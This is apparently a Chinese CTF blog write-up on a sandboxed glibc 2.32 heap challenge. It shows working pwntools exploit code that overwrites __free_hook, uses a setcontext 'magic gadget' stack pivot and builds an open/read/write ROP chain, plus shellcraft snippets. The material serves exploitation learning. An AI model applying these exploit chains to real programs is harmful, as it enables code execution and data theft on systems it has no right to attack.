pwn

Setcontext与Magic-Gadget

Posted by Sagiring on 2023-11-03
Estimated Reading Time 2 Minutes
Words 602 In Total
Viewed Times

Setcontext与Magic-Gadget

题目在LargebinsAttact与TcachebinsPosioning中基本一样,只是开了沙箱ban了execve。

image-20231103173735695

考虑使用orw,在上一篇的基础上来继续探究如何orw

方法1

考虑使用setcontext,栈迁移rop --glibc2.32

首先先来看setcontext,以rdx为基地址设置寄存器。注意这里从setcontext + 61,前面的指令容易卡死。

由于我们只能控制rdi指向的值,需要找Magic-Gadget来转换为rdx,这里用rop-gadget找了一个。

'''
0x000014b760
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
'''

这样就设置了rdx,还完成了跳转。

调试的时候发现这里还有push rcx的动作,所以rcx设置了最后跳转的值,需要与设置的rsp相搭配完成栈迁移rop

而后再写一下orw的值,存进新开辟的堆块里。使用rop.base设置rop的地址,方便工具找字符串。PS 太优雅了!

orw = ROP(libc)
orw.base = orw_addr + 0x8 #调试的偏移
orw.open(b'flag',0,0)
orw.read(3,heap_base+0x200,0x20)
orw.write(1,heap_base+0x200,0x20)

这里贴一下这部分的exp

add(15,0x900)
rdi_context_addr = heap_base + 0x3290 + 0x10
orw_addr = heap_base + 0x3ba0
orw = ROP(libc)
orw.base = orw_addr + 0x8
orw.open(b'flag',0,0)
orw.read(3,heap_base+0x200,0x20)
orw.write(1,heap_base+0x200,0x20)
info(orw.dump())
edit(15,orw.chain()[8:])



gadget = libc.address + 0x000014b760
'''
0x000014b760
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
'''
rop = ROP(libc)

rdi_context = p64(0) + p64(rdi_context_addr) + p64(0)*2 +p64(libc.sym['setcontext']+61)
rdi_context += p64(0) * 15 + p64(orw_addr+0x10) + orw.chain()[:8]
# rop.raw(rdi_context)
info(rop.dump())

edit(14,p64(gadget))
edit(13,rdi_context) #rdi的值
show_addr('__free_hook',libc.sym['__free_hook'])

pause()
delete(13)
r.interactive()

方法二

使用mprotect函数修改出一块rwx的地址,然后再写入orw的shellcode,

这里顺便贴一下直接见到的shellcraft的用法,之后可以研究一下。应该也有比较方便的调用方法

import pwnlib.shellcraft as sc
asm(sc.setregs({'rax':SYS_ptrace,'rsi':'r14','rdi':0x11,'rcx':0,'rdx':0})+\'syscall\n')
asm(sc.pushstr('/bin/sh\x00')+sc.syscall('SYS_getpid','rsp',0,0))
asm(sc.mov('rdi','rax'))
asm("lea rsi,[rip]\n")#mov rip方法

找到一个magic-gadget修改rbp然后leave-ret迁移过去,再orw,可以直接orw也不用写shellcode。

总结一下

两种方法都还算简便易用,关键是找magic-gadget,有合适的就可以打。